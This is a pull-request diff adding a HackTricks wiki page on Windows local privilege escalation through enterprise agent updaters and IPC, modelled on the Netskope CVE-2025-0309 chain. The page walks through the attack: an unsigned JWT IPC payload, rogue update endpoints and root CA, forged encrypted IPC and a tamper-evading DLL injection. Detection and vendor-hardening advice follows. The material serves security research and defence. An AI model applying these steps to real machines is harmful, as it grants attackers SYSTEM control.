Merge pull request #1374 from HackTricks-wiki/update_Advisory___Netskope_Client_for_Windows___Local_Pri_20250830_184240

Advisory – Netskope Client for Windows – Local Privilege Esc...

src/SUMMARY.md

@@ -236,6 +236,7 @@
 - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
 - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
 - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
+  - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
   - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
   - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
   - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)

src/windows-hardening/checklist-windows-privilege-escalation.md

@@ -15,6 +15,7 @@
 - [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
 - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
 - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
+- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
 - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
 
 ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -228,6 +228,15 @@ Basically, this is the flaw that this bug exploits:
 
 You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
 
+## Third-Party Auto-Updaters and Agent IPC (local privesc)
+
+Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
+
+
+{{#ref}}
+abusing-auto-updaters-and-ipc.md
+{{#endref}}
+
 ## KrbRelayUp
 
 A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**.

src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md

@@ -0,0 +1,125 @@
+# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs.
+
+Key ideas you can reuse against similar products:
+- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server.
+- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
+- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties.
+- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry.
+- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch.
+
+---
+## 1) Forcing enrollment to an attacker server via localhost IPC
+
+Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
+
+Observed in Netskope:
+- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
+- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
+
+Exploit flow:
+1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
+2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
+
+```json
+{
+  "148": {
+    "idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
+    "tenantName": "TestOrg"
+  }
+}
+```
+
+3) The service starts hitting your rogue server for enrollment/config, e.g.:
+- /v1/externalhost?service=enrollment
+- /config/user/getbrandingbyemail
+
+Notes:
+- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
+
+---
+## 2) Hijacking the update channel to run code as SYSTEM
+
+Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
+
+1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
+```json
+{
+  "clientUpdate": { "updateIntervalInMin": 1 },
+  "check_msi_digest": false
+}
+```
+2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
+3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
+
+Bypassing common checks seen in the wild:
+- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
+- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
+- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
+
+Result: the SYSTEM service installs your MSI from
+C:\ProgramData\Netskope\stAgent\data\*.msi
+executing arbitrary code as NT AUTHORITY\SYSTEM.
+
+---
+## 3) Forging encrypted IPC requests (when present)
+
+From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
+- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
+- IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
+
+Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
+
+---
+## 4) Bypassing IPC caller allow‑lists (path/name checks)
+
+Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
+
+Two practical bypasses:
+- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
+- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.
+
+---
+## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
+
+Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
+- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
+- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
+
+A reliable user‑mode loader that respects these constraints:
+1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
+2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
+3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
+4) ResumeThread to trigger your stub in‑process, loading your DLL.
+
+Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.
+
+---
+## 6) Practical tooling
+- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
+- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary.
+
+---
+## 7) Detection opportunities (blue team)
+- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
+- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
+- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
+- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
+
+---
+## Hardening tips for vendors
+- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
+- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
+- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
+- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
+
+## References
+- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
+- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
+- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
+- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
+
+{{#include ../../banners/hacktricks-training.md}}